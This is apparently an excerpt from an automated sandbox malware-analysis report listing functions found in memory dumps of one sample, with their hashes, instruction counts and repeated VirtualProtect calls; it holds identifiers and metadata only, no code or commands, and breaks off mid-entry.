Opcode ID: 74facc3cdfd261eb8c810a86b42faa5e28d05126264c13a8e1bee6c097af86b0
Instruction ID: feed9ef1d9f9bcf1ef295751790b614df519a6f005ff0dc5d78b94ef9566c83d
Opcode Fuzzy Hash: 74facc3cdfd261eb8c810a86b42faa5e28d05126264c13a8e1bee6c097af86b0
Instruction Fuzzy Hash: 0B91E2B1E082A89AFB208B24DC04BEA7736EF85300F1480F9D54D57681D77A5FC68F66

Function 02941F0E Relevance: 1.7, APIs: 1, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbf1244221179ec5da7f700d58d13b3f47b26928e85b999550c8bf86659e40e8
Instruction ID: 579450907e05c55bdcd6ba91f1064ee4a38a1092e13bc6c814df5f9756e00e7e
Opcode Fuzzy Hash: cbf1244221179ec5da7f700d58d13b3f47b26928e85b999550c8bf86659e40e8
Instruction Fuzzy Hash: A291F2B1E082A89AFB208B24DC44BEA7736EF85300F1480F9D54D57681D77A5FC68F66

Function 02941F15 Relevance: 1.7, APIs: 1, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 858d48d9f1f4e877935908a8fdc234b2252d6ec31b6fe576ad7bf328454bcea3
Instruction ID: 34ae39a155bccfa31952739fa9c859f1c5ba0f5db22f1a32aea131e7101aef46
Opcode Fuzzy Hash: 858d48d9f1f4e877935908a8fdc234b2252d6ec31b6fe576ad7bf328454bcea3
Instruction Fuzzy Hash: 3391F2B1E082A89AFB208B24DC04BEA7776EF85300F1480F9D54D57681D77A5FC68F66

Function 00405382 Relevance: 1.7, APIs: 1, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c0430e117991581ed697ca8845e7a386ffc158c88b85485b8b5f89407aa3512
Instruction ID: 09f5f11686064701df66a5e6a4a003da236dd83e313d481306864e63d302f757
Opcode Fuzzy Hash: 1c0430e117991581ed697ca8845e7a386ffc158c88b85485b8b5f89407aa3512
Instruction Fuzzy Hash: 5B81C2B1D146289FE724CB10DC81AFB7779EF85310F1441FAD80EA6280E6786EC18F66

Function 004054B6 Relevance: 1.7, APIs: 1, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8774ac32f06f9694be791e1b83653c54d986bf106f10c7acc50470aab82b1a2f
Instruction ID: 6b5de029b82fb8664f7bbb76461c519d6ddba0b1cb178415c1f1ef339fbfee7d
Opcode Fuzzy Hash: 8774ac32f06f9694be791e1b83653c54d986bf106f10c7acc50470aab82b1a2f
Instruction Fuzzy Hash: F581A0B1D045289FE7248B14DC91AFB7779EF44310F1441FAE80EA6280E67D6EC18F66

Function 02941FB8 Relevance: 1.7, APIs: 1, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 27783f233b4d700ff4e14421e525cc9f573d11608b0da8b168bc24f81c5bae6f
Instruction ID: 4594232468637d93650c498e46309855ec4534269b5103c2fad69fb5c8734664
Opcode Fuzzy Hash: 27783f233b4d700ff4e14421e525cc9f573d11608b0da8b168bc24f81c5bae6f
Instruction Fuzzy Hash: 8B81F2B1E082A89AFB218B24DC04BEB7775EF85300F1440F9D54D67681D77A5FC68B26

Function 02941FC4 Relevance: 1.7, APIs: 1, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: c5aa0f7647fc7878ab4ba94032d120def268420eb826c7b962d0e78732827a05
Instruction ID: 12cfd179aa1c0423f29509d4488b9d45b97dbe40dbb334b5802eac43bdd29d4a
Opcode Fuzzy Hash: c5aa0f7647fc7878ab4ba94032d120def268420eb826c7b962d0e78732827a05
Instruction Fuzzy Hash: 2081E2A1E082A89EFB218B24DC04BEB7735EF85300F1440F9D54D67681D77A5FC58B26

Function 02942430 Relevance: 1.7, APIs: 1, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,00000000,?,?,?,?,?,?,?,0000006C,?,?,?), ref: 02943229

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: aa2b10953dfc317e25285b38908e209a19f38568f7c906598eb5706ab99e518e
Instruction ID: be832c2f4d1c407c52dc765a9e4d23780393c1b96eed571e2724c1d660d14f2c
Opcode Fuzzy Hash: aa2b10953dfc317e25285b38908e209a19f38568f7c906598eb5706ab99e518e
Instruction Fuzzy Hash: EC61ADB2E042599BEB248B25DC44FFAB779FBC4310F1581FAE80D96640E6385BC5CA51

Function 0040571B Relevance: 1.7, APIs: 1, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,?), ref: 004059A3

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: b6384b1a6f6fc57015385a9d83e57be70988c7f87d6295e339684477480480a5
Instruction ID: 15b6f3f21f58dcf8630ec38a8d637f875a1143634992b262ff56cc754137e502
Opcode Fuzzy Hash: b6384b1a6f6fc57015385a9d83e57be70988c7f87d6295e339684477480480a5
Instruction Fuzzy Hash: 65816CB1E046288BEB24CA14DC90AFBB7B5EF45311F1481FBD84E67281D6396FC18E95

Function 02941F68 Relevance: 1.7, APIs: 1, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 8d4aa20c57e82cde08491bfe67fecc176b9a451b8e78ff95d789b35af01975fb
Instruction ID: 712b7050140dfba8151c9a853c06bea35c4f6012193d891953f1430a6ef94fa6
Opcode Fuzzy Hash: 8d4aa20c57e82cde08491bfe67fecc176b9a451b8e78ff95d789b35af01975fb
Instruction Fuzzy Hash: B881E3B1E082A89EFB218B24DC04BEA7736EF95300F1440F9D54DA7681D77A5FC58B26

Function 029421A0 Relevance: 1.7, APIs: 1, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 5e4210f8f26634a21f860ca6995a119793206ffe45693aa6c78f93b3b1aad331
Instruction ID: 4f049a0f5c501c802f0624c445e1dea8341af66c4e91abe78c95119df97bd5ac
Opcode Fuzzy Hash: 5e4210f8f26634a21f860ca6995a119793206ffe45693aa6c78f93b3b1aad331
Instruction Fuzzy Hash: CB81E3B1E082A89AFB218B24DC04BEB7736EF95300F1440F9D54DA7681D77A5FC58B26

Function 004053CE Relevance: 1.7, APIs: 1, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ff36e0bb2883003c29a380a2df501432fba59c3581e119c0aefc97d11f724e7
Instruction ID: ca91b741001d20a94d7459214fe2d957509fc0de5e8a0c527c23d6c9388534fd
Opcode Fuzzy Hash: 9ff36e0bb2883003c29a380a2df501432fba59c3581e119c0aefc97d11f724e7
Instruction Fuzzy Hash: EA71AEB1D046289FE720CA14DC95AFB7779EF84310F1441FAE84DA6280E67D6EC18F66

Function 004051F6 Relevance: 1.7, APIs: 1, Instructions: 197memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,?), ref: 004059A3

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 22352a0b415d00e70a267192952c5b8310c6532f1b1cd3105b4b01e4c844cbc1
Instruction ID: bda645420988400695dd9759aa45f577f4306f6e69b6d29db1ff3b33cebb4942
Opcode Fuzzy Hash: 22352a0b415d00e70a267192952c5b8310c6532f1b1cd3105b4b01e4c844cbc1
Instruction Fuzzy Hash: 64619FF2E106189FF7108A14DC95EFB7778EB84310F1441BAE90EA6280D67D6FC58E66

Function 00405267 Relevance: 1.7, APIs: 1, Instructions: 168memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,?), ref: 004059A3

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: e439f20150d50c4929d6edbff225b94139b1c82ae7ba520565f358d259c97875
Instruction ID: 0efbc501fccad9c5e30cd9e683b6ac533d40e0bb03300e56b7f9eb4486f46065
Opcode Fuzzy Hash: e439f20150d50c4929d6edbff225b94139b1c82ae7ba520565f358d259c97875
Instruction Fuzzy Hash: 255190B2E046189FF7108A14DC95EFB7778EB84320F1441FAE90E66280D67D6FC58E66

Function 0041E3C7 Relevance: 1.7, APIs: 1, Instructions: 167memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 0041E720

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: f14c0a7ff0fa85786e15260b031bbb6a3870be62f4fd49c9397990994ed6c3d2
Instruction ID: 8ccf6735f620bc94cdb0017120b44ef3f0b455e627dd689fdd24e4da842eca9c
Opcode Fuzzy Hash: f14c0a7ff0fa85786e15260b031bbb6a3870be62f4fd49c9397990994ed6c3d2
Instruction Fuzzy Hash: 338158B4D04569CBDB28CB15DC90BEAB7B1BB98305F6481EAD80D6B341D638AEC1CF45

Function 00405465 Relevance: 1.7, APIs: 1, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 337b589e4aa83fdd0f5da0a5cbe643a3c8d7f19587df7e8bc2ff07e91d6c9e02
Instruction ID: 9773349eadcf9c9cabda163043ef23e23c442afd6f01ed25f527f2e6e3cf2349
Opcode Fuzzy Hash: 337b589e4aa83fdd0f5da0a5cbe643a3c8d7f19587df7e8bc2ff07e91d6c9e02
Instruction Fuzzy Hash: 2751C1F1D045289FF7148A14DC85AFB7779EB80310F1441BAE80E62680E67D6FC18E56

Function 0294297E Relevance: 1.7, APIs: 1, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2182f45c730d21ae2124fa661f2240de87776d7c0fbe574146118705e7f7dca
Instruction ID: b92dcca9119338d204c8100f69c8b862f5cac17365234aa484b8e6ffbb8e1cdf
Opcode Fuzzy Hash: f2182f45c730d21ae2124fa661f2240de87776d7c0fbe574146118705e7f7dca
Instruction Fuzzy Hash: 6751D3B2D051149AFB208B24DC84FFA777AFB84310F1485FAE90D96680DB399BC5CE51

Function 004052C0 Relevance: 1.6, APIs: 1, Instructions: 148memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,?), ref: 004059A3

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: c4e13d46f98c3ce0c9d0ef7cd97983ca4be23db19f4d276e6c850cda9757f96e
Instruction ID: 78b38dee33307bb44dd798618c0ba56674ed81f6263c2d4366b59cbc5491fd6c
Opcode Fuzzy Hash: c4e13d46f98c3ce0c9d0ef7cd97983ca4be23db19f4d276e6c850cda9757f96e
Instruction Fuzzy Hash: 38419EF1E046289FF7548A00DC95EFB7778EB40320F1442BAE90E66280D67D6FC58E66

Function 02942316 Relevance: 1.6, APIs: 1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: b218b66414181149589370530dd6661d18077e48ac86a88611cbd7b662dfcfd2
Instruction ID: 11e6b7e8e0788204eda3139dce38f48531ba7399d3a03546fba2cbf6e4c7b550
Opcode Fuzzy Hash: b218b66414181149589370530dd6661d18077e48ac86a88611cbd7b662dfcfd2
Instruction Fuzzy Hash: 495157B2E082989EFB218624DC44BEB7B75EB85300F1880F9D84D56681D77E5FC58F22

Function 029429CA Relevance: 1.6, APIs: 1, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,00000000,?,?,?,?,?,?,?,0000006C,?,?,?), ref: 02943229

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: de97ce1796b9f434fef2cc4dd61238e5a141845cd1afb5ad074f6b76357c7563
Instruction ID: 49e82ec254e3afddcb9a986b982aa1eea2d2e9b2a0b76e59c553e75a2aaa21f2
Opcode Fuzzy Hash: de97ce1796b9f434fef2cc4dd61238e5a141845cd1afb5ad074f6b76357c7563
Instruction Fuzzy Hash: E141D3B2D041149BFB208B24DC54FFB777AEB84310F1086FAE90996680DB399BC1CE11

Function 004052E3 Relevance: 1.6, APIs: 1, Instructions: 136memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,?), ref: 004059A3

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: ae3c7c338da1a2bcc6278cde4ff069c74e09636217319eaf6b647f57b1633853
Instruction ID: 40bff6c0c73c513f88b5f311263a2be726fb0cee04d09d9cc5aeac4900255808
Opcode Fuzzy Hash: ae3c7c338da1a2bcc6278cde4ff069c74e09636217319eaf6b647f57b1633853
Instruction Fuzzy Hash: 95419DB1D04228AFF7508A14DC95EFB7B78EB40310F1441FAE90EA6280D67D6FC18E56

Function 029423C8 Relevance: 1.6, APIs: 1, Instructions: 136memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,00000000,?,?,?,?,?,?,?,0000006C,?,?,?), ref: 02943229

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 9d4a7f59cfbb7d0c1fd59f1a0130168f1a093e3890c1f7d32fb9fdcd61b70ac6
Instruction ID: 8f485d9a53607fc6053f4b65a70f043add14dee1a2b7c651269fe1db7fb60888
Opcode Fuzzy Hash: 9d4a7f59cfbb7d0c1fd59f1a0130168f1a093e3890c1f7d32fb9fdcd61b70ac6
Instruction Fuzzy Hash: 2641B2B2E04158ABFB218A24DC44FFBB739FBC5714F1581F9E80D56640D7399AC68E22

Function 00405354 Relevance: 1.6, APIs: 1, Instructions: 129memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,?), ref: 004059A3

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: bb76387ffe17a116e93a69d77dc2c1345552ce288955766f84b4c6236dce22fb
Instruction ID: f3a7785ba762c3d7a044ddebc3420adef200da1eb7b73602ffffc0bc9d1c3431
Opcode Fuzzy Hash: bb76387ffe17a116e93a69d77dc2c1345552ce288955766f84b4c6236dce22fb
Instruction Fuzzy Hash: 48419CF1D14628AFF7548A04DC95EFB7778EB44320F1441BAE90EA2280D67D6FC18E66

Function 02962E7A Relevance: 1.6, APIs: 1, Instructions: 127memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,?,?,?,?,?,?), ref: 02963342

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 9aa13cec101168e0c92ffb56c89b2f6c0e6af0ab85b04f79d3c178ed6a3674be
Instruction ID: dd8d642370223e75cfeab6d17f76346d2e5e521a4270ebc533b5ead4e70d121a
Opcode Fuzzy Hash: 9aa13cec101168e0c92ffb56c89b2f6c0e6af0ab85b04f79d3c178ed6a3674be
Instruction Fuzzy Hash: A241EBB2D442689FE7208B24DC98BEABBB5EB94310F0441F9D94D67280C7395EC1CF91

Function 02922E23 Relevance: 1.6, APIs: 1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 7bdea02f5c2ce6a6c89ce1cda042d89e016c5a06c66e2461922b9996a03c7e4e
Instruction ID: d45d6b2bedb439376443652d982afe5623d51604a0b2d6584a09dfa3f149d7fd
Opcode Fuzzy Hash: 7bdea02f5c2ce6a6c89ce1cda042d89e016c5a06c66e2461922b9996a03c7e4e
Instruction Fuzzy Hash: 5141D4B1C041759FE724DB64DC44AEB7BB9EB41310F0085FAE84D66284D6399EC9CF91

Function 02942BEF Relevance: 1.6, APIs: 1, Instructions: 119memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,00000000,?,?,?,?,?,?,?,0000006C,?,?,?), ref: 02943229

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: aad947af98e30362e86e2b92d8b3205b88aba3b9e0c8fad8c88fe1fd8f4e81e2
Instruction ID: 2117712d02e4509b662fa567c01e68f645e9717f4ad00fbc8c18b868f2c8351d
Opcode Fuzzy Hash: aad947af98e30362e86e2b92d8b3205b88aba3b9e0c8fad8c88fe1fd8f4e81e2
Instruction Fuzzy Hash: 9C4192B2D042299FFB248A14DC54FFA7779EB85310F1081FAE90E56680DB785EC58F61

Function 02962CD9 Relevance: 1.6, APIs: 1, Instructions: 117memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,?,?,?,?,?,?), ref: 02963342

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 39af89e2dafe2c84ea7b614e41ed2dbf16a7728f1a71b258c44c8b58e48ed275
Instruction ID: 6e9a8f0edebc8ecfcb01043f4c5e1acd3965419849c12adc7a5f64abd1ac3f77
Opcode Fuzzy Hash: 39af89e2dafe2c84ea7b614e41ed2dbf16a7728f1a71b258c44c8b58e48ed275
Instruction Fuzzy Hash: 9B41D7B2D442689BEB208B24DC98BEABBB5EB95310F0541F6D84D67280C7795EC1CF91

Function 00405855 Relevance: 1.6, APIs: 1, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,?), ref: 004059A3

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 26698836adf20349f07a75130048666eb633fdb8ccc8f7709fd91c293f743fec
Instruction ID: 8aa1196ea3aec30a2f2c9c0e89f2ae59952a617b8e3309c75fbf9d5a1d973954
Opcode Fuzzy Hash: 26698836adf20349f07a75130048666eb633fdb8ccc8f7709fd91c293f743fec
Instruction Fuzzy Hash: F541C1B1E145289FE7248A14DC94EFBBBB4EB85310F1442FBD84E66280D63C6FC18E56

Function 0041DE5E Relevance: 1.6, APIs: 1, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 0041E720

Memory Dump Source

Source File: 00000000.00000002.2726477640.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_405000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 2347a04294a920a564eba5f548f3efa05d4a6930fd6d18887e0dd2839f7ba60c
Instruction ID: d81e40f633c6fcc5586edad8573ffd37d281a8fcbad55665c2902fee77a34ab6
Opcode Fuzzy Hash: 2347a04294a920a564eba5f548f3efa05d4a6930fd6d18887e0dd2839f7ba60c
Instruction Fuzzy Hash: 3D4104B2D045649BF724CB15DC84AEBBB76EB81301F1081F7D94E62684D6785FC28F92

Function 02962ED5 Relevance: 1.6, APIs: 1, Instructions: 110memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,?,?,?,?,?,?), ref: 02963342

Memory Dump Source

Source File: 00000000.00000002.2726873961.0000000002960000.00000020.00001000.00020000.00000000.sdmp, Offset: 02960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2960000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 5a2412841a471b9ce1f4791cad42e4554012aa3a095847ac0b591ab0ea7326b9
Instruction ID: 2c532f92974690ed0913bf037323916c2245962d35c26b374a206f6ba0d29938
Opcode Fuzzy Hash: 5a2412841a471b9ce1f4791cad42e4554012aa3a095847ac0b591ab0ea7326b9
Instruction Fuzzy Hash: 3541C9B2D442689BEB208B24DCD8BEABBB5EB95310F0541F5D94D67280C7395EC1CF91

Function 02942DDE Relevance: 1.6, APIs: 1, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,00000000,?,?,?,?,?,?,?,0000006C,?,?,?), ref: 02943229

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: d81d449e7ef486cbf719da950df15fde916d8b4a7c7fb9b887677def4afa7811
Instruction ID: 3248f970b2bb7e67a99e010490e116bc334cf746be3631c46cd5baea03a172bd
Opcode Fuzzy Hash: d81d449e7ef486cbf719da950df15fde916d8b4a7c7fb9b887677def4afa7811
Instruction Fuzzy Hash: D741A4B1D042299FEB248B54DC90FFAB775EB85300F1081FAE90E66680DA785EC58F61

Function 02922E73 Relevance: 1.6, APIs: 1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: a6cfdd27851f30719d41e4842cb60bd7f41991132ebb59f25a563f6626bee319
Instruction ID: 5a8c1adfa5d2bbc3f9c74dd07067456d0451836140e5df6215279e78fc2da99c
Opcode Fuzzy Hash: a6cfdd27851f30719d41e4842cb60bd7f41991132ebb59f25a563f6626bee319
Instruction Fuzzy Hash: C231E2B1C051659FE724DB64DC44ADBBBB9EF80310F0085FAD84D67284D6399AC9CF91

Function 029423E7 Relevance: 1.6, APIs: 1, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,00000000,?,?,?,?,?,?,?,0000006C,?,?,?), ref: 02943229

Memory Dump Source

Source File: 00000000.00000002.2726830476.0000000002940000.00000020.00001000.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2940000_m0Yc9KltGw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 58e5c6dd4fa211c94048a3f24dc0aedac1067d06d3f79c85a4fff7f79fece676
Instruction ID: 5e27b8d3d4cfcfca72df2714a9507f66d97ae44c88676b38343f72b734a3e016
Opcode Fuzzy Hash: 58e5c6dd4fa211c94048a3f24dc0aedac1067d06d3f79c85a4fff7f79fece676
Instruction Fuzzy Hash: 4731C2F2E04258ABFB218A14DC44FFB7739EBC4310F1481F9E90D55A40D73D9AC68A21

Function 0294261F Relevance: 1.6, APIs: 1, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,00000000,?,?,?,?,?,?,?,0000006C,?,?,?), ref: 02943229

Memory Dump Source

